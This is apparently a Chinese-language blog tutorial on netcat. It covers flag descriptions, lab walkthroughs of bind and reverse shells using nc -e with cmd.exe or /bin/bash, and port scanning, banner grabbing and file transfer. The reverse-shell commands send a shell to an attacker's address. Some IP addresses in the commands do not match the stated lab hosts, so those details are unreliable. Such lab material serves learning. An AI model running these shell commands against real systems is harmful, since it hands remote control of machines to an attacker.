netcat 介绍
Netcat简称NC,是一个简单、可靠的网络工具,被誉为网络界的瑞士军刀。通NC可以进行端口扫描、反弹Shell、端口监听和文件传输等操作。
常用参数如下:
参数 | 描述 |
-c | 指定连接后要执行的shell命令 |
-e | 指定连接后要执行的文件名 |
-k | 配置 Socket一直存活(若不想退出 Shell后使监听断开可使用此参数) |
-l | 监听模式 |
-p | 设置本地主机使用的通信端口 |
-u | 使用UDP传输协议,默认为TCP |
-v | 显示指令执行过程,用-vv会更详细 |
一、正向反弹Shell
1、实验拓扑

2、主机介绍
机器名称 | IP地址 | 系统版本 | 备注 |
内网攻击机 | 192.168.101.6 | Windows10 | |
内网靶机 | 192.168.101.147 | Windows Server 2016 |
3、实验介绍
攻击者机器192.168.101.6和靶机192.168.101.147可以相互的访问,这个时候可以使用正向shell
4、实验复现
1)在靶机上运行:
nc -lvvp 1111 -e C:\Windows\System32\cmd.exe windows机器
nc -lvvp 1111 -e /bin/bash linux机器

2)在攻击机上运行
nc 192.168.3.29 1111

3)拿到正向的shell

二、反向反弹Shell
1、实验拓扑

2、主机介绍
机器名称 | IP地址 | 系统版本 | 备注 |
内网攻击机 | 192.168.101.6 | Windows10 | |
内网靶机 | 192.168.101.147 | Windows Server 2016 |
3、实验介绍
攻击者机器192.168.101.6不能直接访问靶机,但是靶机192.168.101.147可以访问攻击者的机器,这个时候使用反向shell
4、实验复现
1)在攻击者机器运行
nc -lvvp 1111 监听1111端口

2)在靶机上运行 (反弹到公网)
nc -e C:\Windows\System32\cmd.exe 192.168.101.16 1111 windos机器
nc -e /bin/bash 192.168.101.16 1111 linux机器

3)拿到反向的shell

三、Nc的其他用法
1、Banner 的抓取
靶机运行着ssh服务,可以查看服务的版本
nc -nv IP Port

2、端口探测
可以查看端口的开放情况
nc -v IP Port

多端口扫描:
nc -v -z IP Port[1] -Port[65535]

3、端口监听
监听端口,当访问该端口会输出该信息
nc -l -p Port

4、文件传输
接受端:nc -lp Port > file
发送端:nc -vn IP Port < file -q 1 (windows是-w,Linux是-q)
1、 接收端文件夹下为空

2、 接收端执行命令

3、 发送端执行命令

4、 接收端接收到文件

5、简易聊天
1、vps执行 nc -l -p Port

2、靶机执行:nc -vn IPPort

3、攻击机查看

6、连接远程主机
命令 nc -nvv IP port

© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容